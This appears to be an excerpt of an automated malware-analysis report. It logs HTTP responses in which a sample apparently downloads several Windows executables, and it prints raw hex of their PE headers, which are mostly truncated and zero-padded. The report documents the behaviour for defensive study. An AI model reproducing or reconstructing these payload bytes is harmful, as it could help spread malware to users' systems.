60 2e 72 64 61 74 61 00 00 de 0b 00 00 00 30 00 00 00 0c 00 00 00 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 2c 02 00 00 00 50 00 00 00 04 00 00 00 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 28 May 2023 08:43:12 GMTServer: Apache/2.4.37 (Win64) PHP/5.6.40Last-Modified: Sat, 31 Jul 2021 08:44:14 GMTETag: "2600-5c86757379380"Accept-Ranges: bytesContent-Length: 9728Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b1 8e c0 9c f5 ef ae cf f5 ef ae cf f5 ef ae cf ae 87 af ce f0 ef ae cf f5 ef af cf ff ef ae cf 6f 81 a7 ce f0 ef ae cf 6f 81 ac ce f4 ef ae cf 52 69 63 68 f5 ef ae cf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 bc 80 04 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 12 00 00 00 12 00 00 00 00 00 00 fa 1a 00 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 00 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bc 3a 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 2c 02 00 00 d0 39 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 00 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ab 10 00 00 00 10 00 00 00 12 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 de 0b 00 00 00 30 00 00 00 0c 00 00 00 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 2c 02 00 00 00 50 00 00 00 04 00 00 00 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 28 May 2023 08:43:12 GMTServer: Apache/2.4.37 (Win64) PHP/5.6.40Last-Modified: Sat, 31 Jul 2021 08:44:14 GMTETag: "2600-5c86757379380"Accept-Ranges: bytesContent-Length: 9728Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b1 8e c0 9c f5 ef ae cf f5 ef ae cf f5 ef ae cf ae 87 af ce f0 ef ae cf f5 ef af cf ff ef ae cf 6f 81 a7 ce f0 ef ae cf 6f 81 ac ce f4 ef ae cf 52 69 63 68 f5 ef ae cf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 bc 80 04 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 12 00 00 00 12 00 00 00 00 00 00 fa 1a 00 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 00 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bc 3a 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 2c 02 00 00 d0 39 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 00 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ab 10 00 00 00 10 00 00 00 12 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 de 0b 00 00 00 30 00 00 00 0c 00 00 00 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 2c 02 00 00 00 50 00 00 00 04 00 00 00 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 28 May 2023 08:43:13 GMTServer: Apache/2.4.37 (Win64) PHP/5.6.40Last-Modified: Sat, 31 Jul 2021 08:44:14 GMTETag: "2600-5c86757379380"Accept-Ranges: bytesContent-Length: 9728Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b1 8e c0 9c f5 ef ae cf f5 ef ae cf f5 ef ae cf ae 87 af ce f0 ef ae cf f5 ef af cf ff ef ae cf 6f 81 a7 ce f0 ef ae cf 6f 81 ac ce f4 ef ae cf 52 69 63 68 f5 ef ae cf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 bc 80 04 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 12 00 00 00 12 00 00 00 00 00 00 fa 1a 00 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 00 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bc 3a 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 2c 02 00 00 d0 39 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 00 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ab 10 00 00 00 10 00 00 00 12 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 de 0b 00 00 00 30 00 00 00 0c 00 00 00 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 2c 02 00 00 00 50 00 00 00 04 00 00 00 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 28 May 2023 08:43:16 GMTContent-Type: application/octet-streamContent-Length: 5129728Last-Modified: Fri, 26 May 2023 16:27:32 GMTConnection: keep-aliveETag: "6470ddf4-4e4600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 f4 dd 70 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 3c 4e 00 00 08 00 00 00 00 00 00 9e 5a 4e 00 00 20 00 00 00 60 4e 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 4e 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 5a 4e 00 4b 00 00 00 00 60 4e 00 d0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4e 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 3a 4e 00 00 20 00 00 00 3c 4e 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d0 04 00 00 00 60 4e 00 00 06 00 00 00 3e 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 4e 00 00 02 00 00 00 44 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 5a 4e 00 00 00 00 00 48 00 00 00 02 00 05 00 f4 44 4e 00 5c 15 00 00 03 00 00 00 01 00 00 06 d8 27 00 00 1a 1d 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 03 00 5f 01 00 00 01 00 00 11 7e 03 00 00 04 2c 0d 28 11 00 00 06 2c 06 16 28 0d 00 00 0a 7e 04 00 00 04 2c 0d 28 13 00 00 06 2c 06 16 28 0d 00 00 0a 7e 05 00 00 04 2c 0d 28 15 00 00 06 2c 06 16 28 0d 00 00 0a 7e 06 00 00 04 2c 0d 28 16 00 00 06 2c 06 16 28 0d 00 00 0a 7e 01 00 00 04 2c 10 7e 02 00 00 04 20 e8 03 00 00 5a 28 0e 00 00 0a 7e 07 00 00 04 2c 11 72 01 00 00 70 72 01 00 00 70 16 28 09 00 00 06 26 16 0a 38 c2 00 00 00 7e 0c 00 00 04 06 6f 0f 00 00 0a 0b 7e 0d 00 00 04 06 6f 0f 00 00 0a 0c 7e 0e 00 00 04 06 6f 0f 00 00 0a 0d 7e 0f 00 00 04 06 6f 0f 00 00 0a 13 04 07 28 08 00 00 06 13 05 7e 0a 00 00 04 2c 09 11 05 28 02 00 00 06 13 05 7e 09 00 00 04 72 03 00 00 70 28 10 00 00 0a 2c 1a 28 11 00 00 0a 72 19 00 00 70 6f 12 00 00 0a 11 05 28 04 00 00 06 13 05 2b 29 7e 09 00 00 04 72 31 00 00 70 28 10 00 00 0a 2c 18 11 05 28 11 00 00 0a 72 19 00 00 70 6f 12 00 00 0a 28 03 00 00 06 13 05 11 04 07 08 28 13 00 00 0a 28 14 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 28 May 2023 08:43:17 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40Last-Modified: Tue, 23 May 2023 07:04:01 GMTETag: "51e00-5fc56fdfa7238"Accept-Ranges: bytesContent-Length: 335360Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd 6d c9 53 99 0c a7 00 99 0c a7 00 99 0c a7 00 0a 42 3f 00 98 0c a7 00 f6 7a 39 00 89 0c a7 00 f6 7a 0c 00 b3 0c a7 00 f6 7a 0d 00 fa 0c a7 00 90 74 34 00 9e 0c a7 00 99 0c a6 00 ec 0c a7 00 f6 7a 08 00 98 0c a7 00 f6 7a 3d 00 98 0c a7 00 f6 7a 3a 00 98 0c a7 00 52 69 63 68 99 0c a7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b7 05 7f 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 54 01 00 00 b0 2b 00 00 00 00 00 1c 77 00 00 00 10 00 00 00 70 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 2c 00 00 04 00 00 f9 b9 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 59 01 00 50 00 00 00 00 c0 2c 00 28 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 43 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 c8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 96 53 01 00 00 10 00 00 00 54 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 6c 48 2b 00 00 70 01 00 00 98 03 00 00 58 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 2d 00 00 00 c0 2c 00 00 2e 00 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 28 May 2023 08:43:19 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40Last-Modified: Sun, 28 May 2023 08:40:04 GMTETag: "c3e00-5fcbceaa1bec3"Accept-Ranges: bytesContent-Length: 802304Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 26 ff f6 9e 62 9e 98 cd 62 9e 98 cd 62 9e 98 cd 7c cc 0d cd 7f 9e 98 cd 7c cc 1b cd 18 9e 98 cd 7c cc 1c cd 48 9e 98 cd 45 58 e3 cd 6b 9e 98 cd 62 9e 99 cd ea 9e 98 cd 7c cc 12 cd 63 9e 98 cd 7c cc 0c cd 63 9e 98 cd 7c cc 09 cd 63 9e 98 cd 52 69 63 68 62 9e 98 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d0 34 fa 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 4e 0a 00 00 28 26 00 00 00 00 00 59 4e 00 00 00 10 00 00 00 60 0a 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 30 00 00 04 00 00 01 83 0c 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 88 51 0a 00 64 00 00 00 00 c0 2e 00 98 93 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 30 00 e4 0d 00 00 20 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 31 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 4a 4c 0a 00 00 10 00 00 00 4e 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 44 58 24 00 00 60 0a 00 00 1e 00 00 00 52 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 93 01 00 00 c0 2e 00 00 94 01 00 00 70 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 38 00 00 00 60 30 00 00 3a 00 00 00 04 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 28 May 2023 08:43:31 GMTServer: Apache/2.4.37 (Win64) PHP/5.6.40Last-Modified: Sat, 31 Jul 2021 08:44:14 GMTETag: "2600-5c86757379380"Accept-Ranges: bytesContent-Length: 9728Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b1 8e c0 9c f5 ef ae cf f5 ef ae cf f5 ef ae cf ae 87 af ce f0 ef ae cf f5 ef af cf ff ef ae cf 6f 81 a7 ce f0 ef ae cf 6f 81 ac ce f4 ef ae cf 52 69 63 68 f5 ef ae cf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 bc 80 04 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 12 00 00 00 12 00 00 00 00 00 00 fa 1a 00 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 00 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bc 3a 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 2c 02 00 00 d0 39 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 00 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ab 10 00 00 00 10 00 00 00 12 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 de 0b 00 00 00 30 00 00 00 0c 00 00 00 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 2c 02 00 00 00 50 00 00 00 04 00 00 00 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 